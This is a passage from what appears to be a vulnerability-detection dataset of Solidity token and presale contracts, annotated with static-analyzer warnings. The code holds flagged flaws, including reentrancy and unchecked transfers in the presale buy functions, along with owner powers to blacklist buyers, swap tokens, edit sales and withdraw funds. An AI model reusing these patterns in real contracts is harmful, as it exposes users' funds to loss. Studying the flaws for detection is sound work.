IUniswapV2Factory {\n function getPair(\n address tokenA,\n address tokenB\n ) external view returns (address pair);\n}\n\ninterface IUniswapV2Router01 {\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n}\n\ninterface IUniswapV2Router02 is IUniswapV2Router01 {}\n\ncontract Shibcast is ERC20 {\n uint256 private constant TOAL_SUPYTS = 1000_000_000e9;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 88f96ac): Shibcast.DEAD shadows ERC20.DEAD\n\t// Recommendation for 88f96ac: Remove the state variable shadowing.\n address private constant DEAD = 0x000000000000000000000000000000000000dEaD;\n\n\t// WARNING Vulnerability (shadowing-state | severity: High | ID: 37432eb): Shibcast.ZERO shadows ERC20.ZERO\n\t// Recommendation for 37432eb: Remove the state variable shadowing.\n address private constant ZERO = 0x0000000000000000000000000000000000000000;\n\n address private constant DEAD1 = 0x000000000000000000000000000000000000dEaD;\n\n address private constant ZERO1 = 0x0000000000000000000000000000000000000000;\n\n bool public hasLimit_hoppei;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 0f20c69): Shibcast.maxTaddress should be immutable \n\t// Recommendation for 0f20c69: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public maxTaddress;\n\n\t// WARNING Optimization Issue (immutable-states | ID: b35a5d2): Shibcast.max_adresste should be immutable \n\t// Recommendation for b35a5d2: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n uint256 public max_adresste;\n\n mapping(address => bool) public isException;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2ef954b): Shibcast._burnetkssom should be constant \n\t// Recommendation for 2ef954b: Add the 'constant' attribute to state variables that never change.\n uint256 _burnetkssom = 0;\n\n address uniswapV2Pair;\n\n\t// WARNING Optimization Issue (immutable-states | ID: 7ea0f65): Shibcast.uniswapV2Router should be immutable \n\t// Recommendation for 7ea0f65: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n IUniswapV2Router02 uniswapV2Router;\n\n constructor(\n address router\n ) ERC20(unicode\"Shibcast\", unicode\"SHIBCAST\", TOAL_SUPYTS) {\n IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(router);\n\n uniswapV2Router = _uniswapV2Router;\n\n max_adresste = TOAL_SUPYTS / 40;\n\n maxTaddress = TOAL_SUPYTS / 40;\n\n isException[DEAD] = true;\n\n isException[router] = true;\n\n isException[msg.sender] = true;\n\n isException[address(this)] = true;\n }\n\n function _transfer_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal override {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n _checkLimitation_hoppei(from, to, amount);\n\n if (amount == 0) {\n return;\n }\n\n if (!isException[from] && !isException[to]) {\n require(\n balanceOf(address(uniswapV2Router)) == 0,\n \"ERC20: disable router deflation\"\n );\n\n if (from == uniswapV2Pair || to == uniswapV2Pair) {\n uint256 _burn = (amount * _burnetkssom) / 100;\n\n super._transfer_tmtsoms(from, to, amount, _burn);\n\n return;\n }\n }\n\n super._transfer_hoppei(from, to, amount);\n }\n\n function removeLimit() external onlyOwner {\n hasLimit_hoppei = true;\n }\n\n function _checkLimitation_hoppei(\n address from,\n address to,\n uint256 amount\n ) internal {\n if (!hasLimit_hoppei) {\n if (!isException[from] && !isException[to]) {\n require(amount <= maxTaddress, \"Amount exceeds max\");\n\n if (uniswapV2Pair == ZERO) {\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory())\n .getPair(address(this), uniswapV2Router.WETH());\n }\n\n if (to == uniswapV2Pair) {\n return;\n }\n\n require(\n balanceOf(to) + amount <= max_adresste,\n \"Max holding exceeded max\"\n );\n }\n }\n }\n}\n",
"file_name": "solidity_code_10031.sol",
"size_bytes": 18888,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nlibrary Address {\n function isContract(address account) internal view returns (bool) {\n uint256 size;\n\n assembly {\n size := extcodesize(account)\n }\n\n return size > 0;\n }\n\n function sendValue(address payable recipient, uint256 amount) internal {\n require(\n address(this).balance >= amount,\n \"Address: insufficient balance\"\n );\n\n (bool success, ) = recipient.call{value: amount}(\"\");\n\n require(\n success,\n \"Address: unable to send value, recipient may have reverted\"\n );\n }\n\n function functionCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return functionCall(target, data, \"Address: low-level call failed\");\n }\n\n function functionCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n return functionCallWithValue(target, data, 0, errorMessage);\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value\n ) internal returns (bytes memory) {\n return\n functionCallWithValue(\n target,\n data,\n value,\n \"Address: low-level call with value failed\"\n );\n }\n\n function functionCallWithValue(\n address target,\n bytes memory data,\n uint256 value,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(\n address(this).balance >= value,\n \"Address: insufficient balance for call\"\n );\n\n require(isContract(target), \"Address: call to non-contract\");\n\n (bool success, bytes memory returndata) = target.call{value: value}(\n data\n );\n\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionStaticCall(\n address target,\n bytes memory data\n ) internal view returns (bytes memory) {\n return\n functionStaticCall(\n target,\n data,\n \"Address: low-level static call failed\"\n );\n }\n\n function functionStaticCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal view returns (bytes memory) {\n require(isContract(target), \"Address: static call to non-contract\");\n\n (bool success, bytes memory returndata) = target.staticcall(data);\n\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data\n ) internal returns (bytes memory) {\n return\n functionDelegateCall(\n target,\n data,\n \"Address: low-level delegate call failed\"\n );\n }\n\n function functionDelegateCall(\n address target,\n bytes memory data,\n string memory errorMessage\n ) internal returns (bytes memory) {\n require(isContract(target), \"Address: delegate call to non-contract\");\n\n (bool success, bytes memory returndata) = target.delegatecall(data);\n\n return _verifyCallResult(success, returndata, errorMessage);\n }\n\n function _verifyCallResult(\n bool success,\n bytes memory returndata,\n string memory errorMessage\n ) private pure returns (bytes memory) {\n if (success) {\n return returndata;\n } else {\n if (returndata.length > 0) {\n assembly {\n let returndata_size := mload(returndata)\n\n revert(add(32, returndata), returndata_size)\n }\n } else {\n revert(errorMessage);\n }\n }\n }\n}\n\nlibrary SafeERC20 {\n using SafeMath for uint256;\n\n using Address for address;\n\n function safeTransfer(IERC20 token, address to, uint256 value) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transfer.selector, to, value)\n );\n }\n\n function safeTransferFrom(\n IERC20 token,\n address from,\n address to,\n uint256 value\n ) internal {\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.transferFrom.selector, from, to, value)\n );\n }\n\n function safeApprove(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n require(\n (value == 0) || (token.allowance(address(this), spender) == 0),\n \"SafeERC20: approve from non-zero to non-zero allowance\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(token.approve.selector, spender, value)\n );\n }\n\n function safeIncreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender).add(\n value\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function safeDecreaseAllowance(\n IERC20 token,\n address spender,\n uint256 value\n ) internal {\n uint256 newAllowance = token.allowance(address(this), spender).sub(\n value,\n \"SafeERC20: decreased allowance below zero\"\n );\n\n _callOptionalReturn(\n token,\n abi.encodeWithSelector(\n token.approve.selector,\n spender,\n newAllowance\n )\n );\n }\n\n function _callOptionalReturn(IERC20 token, bytes memory data) private {\n bytes memory returndata = address(token).functionCall(\n data,\n \"SafeERC20: low-level call failed\"\n );\n\n if (returndata.length > 0) {\n require(\n abi.decode(returndata, (bool)),\n \"SafeERC20: ERC20 operation did not succeed\"\n );\n }\n }\n}\n\ncontract Context {\n function _msgSender() internal view virtual returns (address payable) {\n return payable(msg.sender);\n }\n\n function _msgData() internal view virtual returns (bytes memory) {\n this;\n\n return msg.data;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n\n function mod(uint256 a, uint256 b) internal pure returns (uint256) {\n return mod(a, b, \"SafeMath: modulo by zero\");\n }\n\n function mod(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b != 0, errorMessage);\n\n return a % b;\n }\n}\n\ninterface AggregatorV3Interface {\n function decimals() external view returns (uint8);\n\n function description() external view returns (string memory);\n\n function version() external view returns (uint256);\n\n function getRoundData(\n uint80 _roundId\n )\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n\n function latestRoundData()\n external\n view\n returns (\n uint80 roundId,\n int256 answer,\n uint256 startedAt,\n uint256 updatedAt,\n uint80 answeredInRound\n );\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ncontract MTLA_Presale is Ownable {\n using SafeMath for uint256;\n\n using SafeERC20 for IERC20;\n\n IERC20 public token;\n\n IERC20 public USDT;\n\n address payable public paymentReceiver;\n\n AggregatorV3Interface public priceFeedETH;\n\n uint256 public TokenPricePerUsdt;\n\n uint256 public TokenSold;\n\n uint256 public maxTokeninPresale;\n\n mapping(address => bool) public isBlacklist;\n\n bool public presaleStatus;\n\n bool public CanClaim;\n\n mapping(address => uint256) public Claimable;\n\n event Recovered(address token, uint256 amount);\n\n struct Phase {\n uint256 maxTokens;\n uint256 price;\n }\n\n Phase[] public phases;\n\n uint256 public currentPhase = 0;\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 51f1164): MTLA_Presale.constructor(IERC20,IERC20,address,address)._paymentReceiver lacks a zerocheck on \t paymentReceiver = _paymentReceiver\n\t// Recommendation for 51f1164: Check that the address is not zero.\n constructor(\n IERC20 _token,\n IERC20 _usdt,\n address payable _paymentReceiver,\n address _priceFeedETH\n ) {\n token = _token;\n\n USDT = _usdt;\n\n priceFeedETH = AggregatorV3Interface(_priceFeedETH);\n\n\t\t// missing-zero-check | ID: 51f1164\n paymentReceiver = _paymentReceiver;\n\n phases.push(Phase(1000000000 * 1E18, 3333.33 * 1E18));\n\n phases.push(Phase(1000000180.000033 * 1E18, 3125 * 1E18));\n\n phases.push(Phase(1000000304.615478 * 1E18, 2941.18 * 1E18));\n\n phases.push(Phase(1000000036.000001 * 1E18, 2777.78 * 1E18));\n\n maxTokeninPresale = getTotalMaxTokens();\n\n TokenPricePerUsdt = getCurrentPhasePrice();\n }\n\n function getTotalMaxTokens() internal view returns (uint256) {\n uint256 totalMaxTokens;\n\n\t\t// cache-array-length | ID: 2a72e0c\n for (uint256 i = 0; i < phases.length; i++) {\n totalMaxTokens = totalMaxTokens.add(phases[i].maxTokens);\n }\n\n return totalMaxTokens;\n }\n\n function getCurrentPhasePrice() internal view returns (uint256) {\n return phases[currentPhase].price;\n }\n\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 7ebe327): MTLA_Presale.getLatestPriceETH() ignores return value by (None,price,None,None,None) = priceFeedETH.latestRoundData()\n\t// Recommendation for 7ebe327: Ensure that all the return values of the function calls are used.\n function getLatestPriceETH() public view returns (uint256) {\n\t\t// unused-return | ID: 7ebe327\n (, int256 price, , , ) = priceFeedETH.latestRoundData();\n\n return uint256(price * 1e10);\n }\n\n receive() external payable {}\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: d918327): MTLA_Presale.BuyWithETH() ignores return value by token.transfer(msg.sender,claimable)\n\t// Recommendation for d918327: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 177606c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 177606c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function BuyWithETH() external payable {\n require(presaleStatus == true, \"Presale: Presale is not started\");\n\n require(msg.value > 0, \"Presale: Unsuitable Amount\");\n\n require(\n isBlacklist[msg.sender] == false,\n \"Presale: You are blacklisted\"\n );\n\n require(tx.origin == msg.sender, \"Presale: Caller is a contract\");\n\n uint256 tokensToBuy = ETHToToken(msg.value);\n\n require(\n TokenSold.add(tokensToBuy) <= maxTokeninPresale,\n \"Presale: Hardcap Reached!\"\n );\n\n\t\t// reentrancy-eth | ID: 177606c\n payable(paymentReceiver).transfer(msg.value);\n\n Claimable[msg.sender] += tokensToBuy;\n\n TokenSold = TokenSold.add(tokensToBuy);\n\n if (\n TokenSold >= phases[currentPhase].maxTokens &&\n currentPhase < phases.length - 1\n ) {\n currentPhase++;\n\n maxTokeninPresale = getTotalMaxTokens();\n\n TokenPricePerUsdt = getCurrentPhasePrice();\n }\n\n uint256 claimable = Claimable[msg.sender];\n\n\t\t// unchecked-transfer | ID: d918327\n\t\t// reentrancy-eth | ID: 177606c\n token.transfer(msg.sender, claimable);\n\n\t\t// reentrancy-eth | ID: 177606c\n Claimable[msg.sender] = 0;\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 0bed00c): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 0bed00c: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 2e9c341): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 2e9c341: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-no-eth | severity: Medium | ID: 87e7f87): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that involve Ether.\n\t// Recommendation for 87e7f87: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: cc8984c): MTLA_Presale.BuyTokenWithUSDT(uint256) ignores return value by token.transfer(msg.sender,claimable)\n\t// Recommendation for cc8984c: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function BuyTokenWithUSDT(uint256 _amt) external {\n require(\n TokenSold.add(getValuePerUsdt(_amt)) <= maxTokeninPresale,\n \"Hardcap Reached!\"\n );\n\n require(presaleStatus == true, \"Presale : Presale is paused\");\n\n require(_amt > 0, \"Presale : Unsuitable Amount\");\n\n require(\n isBlacklist[msg.sender] == false,\n \"Presale : you are blacklisted\"\n );\n\n require(tx.origin == msg.sender, \"Presale : caller is a contract\");\n\n\t\t// reentrancy-benign | ID: 0bed00c\n\t\t// reentrancy-no-eth | ID: 2e9c341\n\t\t// reentrancy-no-eth | ID: 87e7f87\n IERC20(USDT).safeTransferFrom(msg.sender, paymentReceiver, _amt);\n\n uint256 tokensToBuy = getValuePerUsdt(_amt);\n\n\t\t// reentrancy-benign | ID: 0bed00c\n Claimable[msg.sender] += tokensToBuy;\n\n\t\t// reentrancy-no-eth | ID: 2e9c341\n TokenSold = TokenSold.add(tokensToBuy);\n\n if (\n TokenSold >= phases[currentPhase].maxTokens &&\n currentPhase < phases.length - 1\n ) {\n\t\t\t// reentrancy-benign | ID: 0bed00c\n currentPhase++;\n\n\t\t\t// reentrancy-no-eth | ID: 2e9c341\n maxTokeninPresale = getTotalMaxTokens();\n\n\t\t\t// reentrancy-no-eth | ID: 2e9c341\n TokenPricePerUsdt = getCurrentPhasePrice();\n }\n\n uint256 claimable = Claimable[msg.sender];\n\n\t\t// reentrancy-no-eth | ID: 87e7f87\n\t\t// unchecked-transfer | ID: cc8984c\n token.transfer(msg.sender, claimable);\n\n\t\t// reentrancy-no-eth | ID: 87e7f87\n Claimable[msg.sender] = 0;\n }\n\n function setaggregatorv3(address _priceFeedETH) external onlyOwner {\n priceFeedETH = AggregatorV3Interface(_priceFeedETH);\n }\n\n function getValuePerUsdt(uint256 _amt) public view returns (uint256) {\n return (TokenPricePerUsdt.mul(_amt)).div(1e15);\n }\n\n function stopPresale() external onlyOwner {\n presaleStatus = false;\n }\n\n function StartClaim() external onlyOwner {\n CanClaim = true;\n }\n\n function StopClaim() external onlyOwner {\n CanClaim = false;\n }\n\n function resumePresale() external onlyOwner {\n presaleStatus = true;\n }\n\n function setmaxTokeninPresale(uint256 _value) external onlyOwner {\n maxTokeninPresale = _value;\n }\n\n function contractbalance() public view returns (uint256) {\n return address(this).balance;\n }\n\n function settoken(IERC20 _token, IERC20 _USDT) external onlyOwner {\n token = _token;\n\n USDT = _USDT;\n }\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 2bfac0e): MTLA_Presale.changeFundReceiver(address)._paymentReceiver lacks a zerocheck on \t paymentReceiver = _paymentReceiver\n\t// Recommendation for 2bfac0e: Check that the address is not zero.\n function changeFundReceiver(\n address payable _paymentReceiver\n ) external onlyOwner {\n\t\t// missing-zero-check | ID: 2bfac0e\n paymentReceiver = _paymentReceiver;\n }\n\n function setBlacklist(address _addr, bool _state) external onlyOwner {\n isBlacklist[_addr] = _state;\n }\n\n function releaseFunds() external onlyOwner {\n payable(msg.sender).transfer(address(this).balance);\n }\n\n function updateTokenSold(uint256 _newTokenSold) external onlyOwner {\n require(\n _newTokenSold <= maxTokeninPresale,\n \"Presale: New TokenSold exceeds maxTokeninPresale\"\n );\n\n TokenSold = _newTokenSold;\n }\n\n\t// WARNING Vulnerability (divide-before-multiply | severity: Medium | ID: 86aed74): Solidity's integer division truncates. Thus, performing division before multiplication can lead to precision loss.\n\t// Recommendation for 86aed74: Consider ordering multiplication before division.\n function ETHToToken(uint256 _amount) public view returns (uint256) {\n\t\t// divide-before-multiply | ID: 86aed74\n uint256 ETHToUsd = (_amount * (getLatestPriceETH())) / (1 ether);\n\n\t\t// divide-before-multiply | ID: 86aed74\n uint256 numberOfTokens = (ETHToUsd * (TokenPricePerUsdt)) / (1e27);\n\n return numberOfTokens;\n }\n\n function setStages(\n uint256 _totalamt,\n uint256 _usdtprice\n ) external onlyOwner {\n phases.push(Phase(_totalamt, _usdtprice));\n }\n\n function resetPresalestages(uint i) external onlyOwner {\n delete phases[i];\n }\n}\n",
"file_name": "solidity_code_10032.sol",
"size_bytes": 20988,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n\n function transferOwnership(address newOwner) public virtual onlyOwner {\n require(\n newOwner != address(0),\n \"Ownable: new owner is the zero address\"\n );\n\n emit OwnershipTransferred(_owner, newOwner);\n\n _owner = newOwner;\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract PolitFi is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private isExile;\n\n mapping(address => bool) public marketPair;\n\n mapping(uint256 => uint256) private perBuyCount;\n\n address payable private _taxWallet;\n\n uint256 private firstBlock = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 8012724): PolitFi._initialBuyTax should be constant \n\t// Recommendation for 8012724: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f28d2a7): PolitFi._initialSellTax should be constant \n\t// Recommendation for f28d2a7: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: f5633db): PolitFi._finalBuyTax should be constant \n\t// Recommendation for f5633db: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: e6ebc3e): PolitFi._finalSellTax should be constant \n\t// Recommendation for e6ebc3e: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: f1407a5): PolitFi._reduceBuyTaxAt should be constant \n\t// Recommendation for f1407a5: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 2c15966): PolitFi._reduceSellTaxAt should be constant \n\t// Recommendation for 2c15966: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 25;\n\n\t// WARNING Optimization Issue (constable-states | ID: 67999aa): PolitFi._preventSwapBefore should be constant \n\t// Recommendation for 67999aa: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 25;\n\n uint256 private _buyCount = 0;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 420690000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"PolitFi Meta\";\n\n string private constant _symbol = unicode\"POLITFI\";\n\n uint256 public _maxTxAmount = 8413800000 * 10 ** _decimals;\n\n uint256 public _maxWalletSize = 8413800000 * 10 ** _decimals;\n\n\t// WARNING Optimization Issue (constable-states | ID: c73183c): PolitFi._taxSwapThreshold should be constant \n\t// Recommendation for c73183c: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = 4206900000 * 10 ** _decimals;\n\n uint256 public _maxTaxSwap = 4206900000 * 10 ** _decimals;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address public uniswapV2Pair;\n\n bool private tradingOpen;\n\n uint256 public caSell = 3;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n bool public caTrigger = true;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n isExile[owner()] = true;\n\n isExile[address(this)] = true;\n\n isExile[address(uniswapV2Pair)] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 325cbd7): PolitFi.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 325cbd7: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 17dde10): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 17dde10: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 815e6fd): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 815e6fd: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 17dde10\n\t\t// reentrancy-benign | ID: 815e6fd\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 17dde10\n\t\t// reentrancy-benign | ID: 815e6fd\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 9c4bfa0): PolitFi._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 9c4bfa0: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 815e6fd\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 17dde10\n emit Approval(owner, spender, amount);\n }\n\n function setMarketPair(address addr) public onlyOwner 